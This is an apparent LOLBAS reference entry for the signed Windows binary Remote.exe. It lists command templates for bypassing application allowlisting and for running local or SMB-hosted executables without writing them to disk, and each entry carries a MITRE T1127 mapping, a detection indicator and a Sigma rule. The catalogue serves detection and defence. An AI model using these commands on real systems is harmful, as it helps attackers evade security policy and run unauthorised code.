LOL · OtherMSBinary

Remote.exe

3 techniquesWindowsLOLBASGPL-3.0

AWL Bypass

AWL / Policy BypassWindows

Spawns specified executable as a child process of remote.exe

Use Executes a process under a trusted Microsoft signed binary

Remote.exe /s {PATH:.exe} anythinghere

Evidence: Upstream reference
Environment: Local host
Context: user
Native: AWL Bypass
MITRE: T1127
Detection: IOC: remote.exe process spawns
Sigma: github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml
Refs: blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/
lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/

Execute

ExecutionWindows

Spawns specified executable as a child process of remote.exe

Use Executes a process under a trusted Microsoft signed binary

Remote.exe /s {PATH:.exe} anythinghere

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1127
Detection: IOC: remote.exe process spawns
Sigma: github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml
Refs: blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/
lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/

Execute

ExecutionWindows

Run a remote file

Use Executing a remote binary without saving file to disk

Remote.exe /s {PATH_SMB:.exe} anythinghere

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1127
Detection: IOC: remote.exe process spawns
Sigma: github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml
Refs: blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/
lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/